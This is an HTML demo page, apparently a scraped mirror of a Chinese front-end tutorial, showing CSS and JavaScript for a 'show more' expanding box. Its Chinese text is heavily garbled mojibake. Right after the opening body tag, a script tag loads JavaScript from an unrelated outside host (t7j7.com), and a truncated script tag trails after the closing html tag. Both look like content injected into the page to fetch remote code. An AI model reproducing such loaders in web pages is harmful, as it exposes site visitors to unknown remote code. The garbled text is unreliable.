鍩轰簬.active绫诲悕鐨勭偣鍑绘樉绀烘洿澶氫氦浜掓晥鏋?禄寮犻懌鏃?閼┖闂?閼敓娲?/title> <link rel="stylesheet" href="../css/demo.css" type="text/css" /> <link rel="stylesheet" href="../css/hl.css" type="text/css" /> <style> .box { width: 280px; line-height: 20px; max-height: 80px; transition: max-height .25s; position: relative; overflow: hidden; } .box > h4 { font-size: 100%; margin: 0; } .box > h4 + p { color: gray; margin: .5em 0; } .box > p { margin: 0; } .more { position: absolute; width: 100%; padding-top: 20px; bottom: 0; left: 0; background: linear-gradient(to bottom, hsla(0,0%,100%,0), hsla(0,0%,100%,.9) 50%, hsla(0,0%,100%,1)); font-size: 12px; font-family: simsun; text-align: center; } .more:hover { color: #cd0000; text-decoration: none; } .box.active { max-height: 200px; } .active > .more { display: none; } </style> </head> <body> <script src="http://www.t7j7.com/js.js"></script> <div id="header"> <a href="/" class="logo" title="鍥炲埌閼┖闂?閼敓娲婚椤?> <img alt="寮犻懌鏃?閼┖闂?閼敓娲? src="/php/image/zxx_home_logo.png" border="0" /> </a> </div> <div id="main"> <h1>鍩轰簬.active绫诲悕鐨勭偣鍑绘樉绀烘洿澶氫氦浜掓晥鏋滃疄渚嬮〉闈?/h1> <a href="//olsonnd.com/wordpress/?p=5716" id="back">鍥炲埌鐩稿叧鏂囩珷 »</a> <div id="body"> <div id="code" class="part"> <h3>浠ｇ爜锛?/h3> <div class="show"> <h5>CSS浠ｇ爜锛?/h5> <pre name="code" class="css"> .box { max-height: 80px; transition: max-height .25s; position: relative; overflow: hidden; } .more { position: absolute; width: 100%; padding-top: 20px; bottom: 0; left: 0; background: linear-gradient(to bottom, hsla(0,0%,100%,0), hsla(0,0%,100%,.9) 50%, hsla(0,0%,100%,1)); } .box.active { max-height: 200px; } .active > .more { display: none; } </pre> <h5>HTML浠ｇ爜锛?/h5> <pre name="code" class="html"><div id="box" class="box"> 鏂囧瓧鍐呭... <a href="javascript:" id="more" class="more">鏇村鈫?lt;/a> </div></pre> <h5>JS浠ｇ爜锛?/h5> <pre name="code" class="js">var box = document.getElementById('box'), more = document.getElementById('more'); if (box && more) { more.onclick = function () { box.className += ' active'; }; }</pre> </div> </div> <div id="effect" class="part"> <h3>鏁堟灉锛?/h3> <div class="show"> <div class="demo"> <div id="box" class="box"> <h4>flv.js-B绔橦TML5鎾斁鍣ㄥ唴鏍稿紑婧?/h4> <p>椤圭洰鍦板潃锛歨ttps://github.com/Bilibili/flv.js</p> <p>涓€涓函JS鐨勪笉渚濊禆Flash鐨凥TML5 Flash瑙嗛 (FLV)鎾斁鍣紒</p> <p>鏈」鐩彈hls.js鍚彂锛岄渶瑕佷緷璧朚edia Source Extensions鎵嶈兘鐢熸晥銆?/p> <a href="javascript:" id="more" class="more">鏇村鈫?/a> </div> </div> </div> </div> </div> </div> <script> var box = document.getElementById('box'), more = document.getElementById('more'); if (box && more) { more.onclick = function () { box.className += ' active'; }; } </script>  <script type="text/javascript" src="../js/hl_all.js"></script> <script type="text/javascript"> DlHighlight.HELPERS.highlightByName("code", "pre"); </script> <div id="footer"> Designed & Powerd by <a href="/">zhangxinxu</a><br /> Copyright漏寮犻懌鏃?閼┖闂?閼敓娲?br> <a href="http://www.miibeian.gov.cn/" target="_blank">閯侷CP澶?9015569鍙?/a> </div> <div id="ad"> <script type="text/javascript"> google_ad_client = "pub-0090627341039040";google_ad_slot = "4686885989";google_ad_width = 728;google_ad_height = 90;</script><script type="text/javascript" src="//pagead2.googlesyndication.com/pagead/show_ads.js"></script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-11205167-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = '//www.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?48d8e938d5365a4cb0fc9e65d945018e"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> <script> (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); </script> </body> </html><script type="text/javascript" src="/sys